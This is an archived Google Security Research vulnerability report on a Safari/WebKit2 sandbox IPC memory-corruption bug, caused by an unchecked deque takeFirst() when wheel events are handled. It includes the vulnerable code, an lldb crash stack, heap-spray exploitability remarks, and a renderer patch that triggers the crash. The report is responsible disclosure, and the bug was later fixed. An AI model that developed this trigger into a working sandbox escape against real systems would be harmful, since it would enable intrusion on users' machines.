d3k4z / google-security-research

Automatically exported from code.google.com/p/google-security-research
1 stars 0 forks source link

Safari sandbox IPC memory corruption with WebEvent::Wheel #10

Closed GoogleCodeExporter closed 9 years ago

GoogleCodeExporter commented 9 years ago
The handler for the WebPageProxy::DidReceiveEvent IPC message fails to check 
that the WTF::Deque m_currentlyProcessedWheelEvents is not empty before calling 
takeFirst() when processing an event of type WebEvent::Wheel:

void WebPageProxy::didReceiveEvent(uint32_t opaqueType, bool handled)
...
    case WebEvent::Wheel: {
        ASSERT(!m_currentlyProcessedWheelEvents.isEmpty());

        OwnPtr<Vector<NativeWebWheelEvent>> oldestCoalescedEvent = m_currentlyProcessedWheelEvents.takeFirst();
...

That debug ASSERT should be a runtime CHECK.

takeFirst() simply returns the head of the queue and bumps the pointer (mod the 
buffer size,) there is no check that the queue isn't empty.

When this scope is left that OwnPtr will be freed. Exploitability depends on 
the contents of the buffer backing the queue, a crash stack is show below where 
the faulting address is clearly a poison value, however the memory pointed to 
by that poisoned pointer doesn't seem to be reserved, and could probably be 
easily heap-sprayed too. Further investigation of the operation of WTF::Deque 
would be required to understand if this could be exploited reliably.

Crash stack:
(lldb) attach 9724
Process 9724 stopped
Executable module set to 
"/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment".
Architecture set to: x86_64-apple-macosx.
(lldb) c
Process 9724 resuming
Process 9724 stopped
* thread #1: tid = 0x9ef7, 0x0000000101bd1513 
WebKit2`WTF::Vector<WebKit::NativeWebWheelEvent, 0ul, 
WTF::CrashOnOverflow>::~Vector(this=0x00000001badbeef5) + 9 at Vector.h:595, 
queue = 'com.apple.main-thread, stop reason = EXC_BAD_ACCESS (code=1, 
address=0x1badbef01)
    frame #0: 0x0000000101bd1513 WebKit2`WTF::Vector<WebKit::NativeWebWheelEvent, 0ul, WTF::CrashOnOverflow>::~Vector(this=0x00000001badbeef5) + 9 at Vector.h:595
   592  
   593      ~Vector()
   594      {
-> 595          if (m_size)
   596              shrink(0);
   597      }
   598  
WebKit2`WTF::Vector<WebKit::NativeWebWheelEvent, 0ul, 
WTF::CrashOnOverflow>::~Vector() + 9 at Vector.h:595:
-> 0x101bd1513:  cmp    DWORD PTR [RBX + 12], 0
   0x101bd1517:  je     0x101bd1523               ; WTF::Vector<WebKit::NativeWebWheelEvent, 0ul, WTF::CrashOnOverflow>::~Vector() + 25 [inlined] WTF::VectorBufferBase<WebKit::NativeWebWheelEvent>::buffer() at Vector.h:373
WTF::Vector<WebKit::NativeWebWheelEvent, 0ul, WTF::CrashOnOverflow>::~Vector() 
+ 25 [inlined] WTF::VectorBuffer<WebKit::NativeWebWheelEvent, 
0ul>::~VectorBuffer() at Vector.h:597
WTF::Vector<WebKit::NativeWebWheelEvent, 0ul, WTF::CrashOnOverflow>::~Vector() 
+ 25 at Vector.h:597
   0x101bd1519:  mov    RDI, RBX
(lldb) bt
* thread #1: tid = 0x9ef7, 0x0000000101bd1513 
WebKit2`WTF::Vector<WebKit::NativeWebWheelEvent, 0ul, 
WTF::CrashOnOverflow>::~Vector(this=0x00000001badbeef5) + 9 at Vector.h:595, 
queue = 'com.apple.main-thread, stop reason = EXC_BAD_ACCESS (code=1, 
address=0x1badbef01)
    frame #0: 0x0000000101bd1513 WebKit2`WTF::Vector<WebKit::NativeWebWheelEvent, 0ul, WTF::CrashOnOverflow>::~Vector(this=0x00000001badbeef5) + 9 at Vector.h:595
    frame #1: 0x0000000101bd14f4 WebKit2`WTF::OwnPtr<WTF::Vector<WebKit::NativeWebWheelEvent, 0ul, WTF::CrashOnOverflow> >::~OwnPtr() [inlined] WTF::Vector<WebKit::NativeWebWheelEvent, 0ul, WTF::CrashOnOverflow>::~Vector(this=0x00000001badbeef5, p=0x00000001badbeef5) + 8 at Vector.h:594
    frame #2: 0x0000000101bd14ec WebKit2`WTF::OwnPtr<WTF::Vector<WebKit::NativeWebWheelEvent, 0ul, WTF::CrashOnOverflow> >::~OwnPtr() [inlined] void WTF::deleteOwnedPtr<WTF::Vector<WebKit::NativeWebWheelEvent, 0ul, WTF::CrashOnOverflow> >(ptr=0x00000001badbeef5) at OwnPtrCommon.h:37
    frame #3: 0x0000000101bd14ec WebKit2`WTF::OwnPtr<WTF::Vector<WebKit::NativeWebWheelEvent, 0ul, WTF::CrashOnOverflow> >::~OwnPtr(this=<unavailable>) + 14 at OwnPtr.h:47
    frame #4: 0x0000000101bbd198 WebKit2`WebKit::WebPageProxy::didReceiveEvent(unsigned int, bool) [inlined] WTF::OwnPtr<WTF::Vector<WebKit::NativeWebWheelEvent, 0ul, WTF::CrashOnOverflow> >::~OwnPtr(this=0x00000001badbeef5) + 776 at OwnPtr.h:47
    frame #5: 0x0000000101bbd193 WebKit2`WebKit::WebPageProxy::didReceiveEvent(this=<unavailable>, opaqueType=<unavailable>, handled=<unavailable>) + 771 at WebPageProxy.cpp:3699
    frame #6: 0x0000000101bdb648 WebKit2`void IPC::handleMessage<Messages::WebPageProxy::DidReceiveEvent, WebKit::WebPageProxy, void (WebKit::WebPageProxy::*)(unsigned int, bool)>(IPC::MessageDecoder&, WebKit::WebPageProxy*, void (WebKit::WebPageProxy::*)(unsigned int, bool)) [inlined] void IPC::callMemberFunctionImpl<WebKit::WebPageProxy, void (args=0x0000000100000003, __t=0x0000000100000003, object=<unavailable>)(unsigned int, bool), std::__1::tuple<unsigned int, bool>, 0ul, 1ul>(WebKit::WebPageProxy*, void (WebKit::WebPageProxy::*)(unsigned int, bool), std::__1::tuple<unsigned int, bool>&&, std::index_sequence<0ul, 1ul>) + 73 at HandleMessage.h:16
    frame #7: 0x0000000101bdb62a WebKit2`void IPC::handleMessage<Messages::WebPageProxy::DidReceiveEvent, WebKit::WebPageProxy, void (WebKit::WebPageProxy::*)(unsigned int, bool)>(IPC::MessageDecoder&, WebKit::WebPageProxy*, void (WebKit::WebPageProxy::*)(unsigned int, bool)) [inlined] void IPC::callMemberFunction<WebKit::WebPageProxy, void (args=0x0000000100000003, __t=0x0000000100000003)(unsigned int, bool), std::__1::tuple<unsigned int, bool>, std::make_index_sequence<2ul> >(std::__1::tuple<unsigned int, bool>&&, WebKit::WebPageProxy*, void (WebKit::WebPageProxy::*)(unsigned int, bool)) at HandleMessage.h:22
    frame #8: 0x0000000101bdb62a WebKit2`void IPC::handleMessage<Messages::WebPageProxy::DidReceiveEvent, WebKit::WebPageProxy, void (decoder=<unavailable>, object=<unavailable>, function=<unavailable>)(unsigned int, bool)>(IPC::MessageDecoder&, WebKit::WebPageProxy*, void (WebKit::WebPageProxy::*)(unsigned int, bool)) + 43 at HandleMessage.h:117
    frame #9: 0x0000000101bd8c8e WebKit2`WebKit::WebPageProxy::didReceiveMessage(this=0x00007fc8eb80ea18, connection=<unavailable>, decoder=0x0000000107206820) + 916 at WebPageProxyMessageReceiver.cpp:214
    frame #10: 0x0000000101abf7d5 WebKit2`IPC::MessageReceiverMap::dispatchMessage(this=<unavailable>, connection=0x000000010720d780, decoder=0x0000000107206820) + 125 at MessageReceiverMap.cpp:87
    frame #11: 0x0000000101a6c947 WebKit2`WebKit::ChildProcessProxy::dispatchMessage(this=<unavailable>, connection=<unavailable>, decoder=<unavailable>) + 13 at ChildProcessProxy.cpp:118
    frame #12: 0x0000000101c05328 WebKit2`WebKit::WebProcessProxy::didReceiveMessage(this=0x000000010591ea80, connection=0x000000010720d780, decoder=0x0000000107206820) + 24 at WebProcessProxy.cpp:364
    frame #13: 0x0000000101a6dafc WebKit2`IPC::Connection::dispatchMessage(std::__1::unique_ptr<IPC::MessageDecoder, std::__1::default_delete<IPC::MessageDecoder> >) [inlined] IPC::Connection::dispatchMessage(decoder=<unavailable>, this=<unavailable>) + 94 at Connection.cpp:770
    frame #14: 0x0000000101a6daef WebKit2`IPC::Connection::dispatchMessage(this=0x000000010720d780, message=0x00007fff5eb85020) + 81 at Connection.cpp:791
    frame #15: 0x0000000101a6fb70 WebKit2`IPC::Connection::dispatchOneMessage(this=0x000000010720d780) + 106 at Connection.cpp:817
    frame #16: 0x0000000101463a45 JavaScriptCore`WTF::RunLoop::performWork() [inlined] std::__1::function<void (this=0x00007fff5eb850e0)>::operator()() const + 421 at functional:1435
    frame #17: 0x0000000101463a3b JavaScriptCore`WTF::RunLoop::performWork(this=0x000000010590df30) + 411 at RunLoop.cpp:104
    frame #18: 0x0000000101464122 JavaScriptCore`WTF::RunLoop::performWork(context=<unavailable>) + 34 at RunLoopCF.cpp:38
    frame #19: 0x00007fff871bb731 CoreFoundation`__CFRUNLOOP_IS_CALLING_OUT_TO_A_SOURCE0_PERFORM_FUNCTION__ + 17
    frame #20: 0x00007fff871acea2 CoreFoundation`__CFRunLoopDoSources0 + 242
    frame #21: 0x00007fff871ac62f CoreFoundation`__CFRunLoopRun + 831
    frame #22: 0x00007fff871ac0b5 CoreFoundation`CFRunLoopRunSpecific + 309
    frame #23: 0x00007fff90fb1a0d HIToolbox`RunCurrentEventLoopInMode + 226
    frame #24: 0x00007fff90fb17b7 HIToolbox`ReceiveNextEventCommon + 479
    frame #25: 0x00007fff90fb15bc HIToolbox`_BlockUntilNextEventMatchingListInModeWithFilter + 65
    frame #26: 0x00007fff8db9e3de AppKit`_DPSNextEvent + 1434
    frame #27: 0x00007fff8db9da2b AppKit`-[NSApplication nextEventMatchingMask:untilDate:inMode:dequeue:] + 122
    frame #28: 0x00007fff8a241290 Safari`-[BrowserApplication nextEventMatchingMask:untilDate:inMode:dequeue:] + 161
    frame #29: 0x00007fff8db91b2c AppKit`-[NSApplication run] + 553
    frame #30: 0x00007fff8db7c913 AppKit`NSApplicationMain + 940
    frame #31: 0x00007fff8a41306d Safari`SafariMain + 267
    frame #32: 0x00007fff83a405fd libdyld.dylib`start + 1
    frame #33: 0x00007fff83a405fd libdyld.dylib`start + 1
(lldb) register read
General Purpose Registers:
       rax = 0x0000000000000000
       rbx = 0x00000001badbeef5
       rcx = 0x000000000000000f
       rdx = 0x0000000000000000
       rdi = 0x00000001badbeef5
       rsi = 0x0000000000000003
       rbp = 0x00007fff5eb84d50
       rsp = 0x00007fff5eb84d40
        r8 = 0x0000000000000074
        r9 = 0x0000000000000000
       r10 = 0x00007fc8eb4caf9c
       r11 = 0x00007fff73da4db8  (void *)0x00007fff73da4d90: NSAutoreleasePool
       r12 = 0x00007fc8eb80ea18
       r13 = 0x00007fff5eb85200
       r14 = 0x0000000000000001
       r15 = 0x00000001badbeef5
       rip = 0x0000000101bd1513  WebKit2`WTF::Vector<WebKit::NativeWebWheelEvent, 0ul, WTF::CrashOnOverflow>::~Vector() + 9 at Vector.h:595
    rflags = 0x0000000000010206
        cs = 0x000000000000002b
        fs = 0x0000000000000000
        gs = 0x0000000000000000

This issue can be easily reproduced by applying following patch to the renderer 
code then scrolling using the mouse on a page:

Source/WebKit2/WebProcess/WebPage/EventDispatcher.cpp:

         ScrollingTree::EventResult result = scrollingTree->tryToHandleWheelEvent(platformWheelEvent);
         if (result == ScrollingTree::DidHandleEvent || result == ScrollingTree::DidNotHandleEvent) {
-            sendDidReceiveEvent(pageID, wheelEvent, result == 
ScrollingTree::DidHandleEvent);
+            for (int i = 0; i < 128; i++){
+                sendDidReceiveEvent(pageID, wheelEvent, result == 
ScrollingTree::DidHandleEvent);
+            }
             return;
         }
     }

Original issue reported on code.google.com by ianb...@google.com on 3 Apr 2014 at 5:57

GoogleCodeExporter commented 9 years ago

Original comment by ianb...@google.com on 3 Apr 2014 at 6:13

GoogleCodeExporter commented 9 years ago

Original comment by ianb...@google.com on 4 Apr 2014 at 3:06

GoogleCodeExporter commented 9 years ago
Apple follow-up id: 605055321

Original comment by ianb...@google.com on 4 Apr 2014 at 3:11

GoogleCodeExporter commented 9 years ago

Original comment by ianb...@google.com on 4 Apr 2014 at 3:42

GoogleCodeExporter commented 9 years ago

Original comment by ianb...@google.com on 22 May 2014 at 1:25

GoogleCodeExporter commented 9 years ago
Fixed in Safari 7.0.4
Apple advisory: http://support.apple.com/kb/HT6254

Original comment by ianb...@google.com on 22 May 2014 at 1:27

GoogleCodeExporter commented 9 years ago

Original comment by cev...@google.com on 31 Jul 2014 at 12:17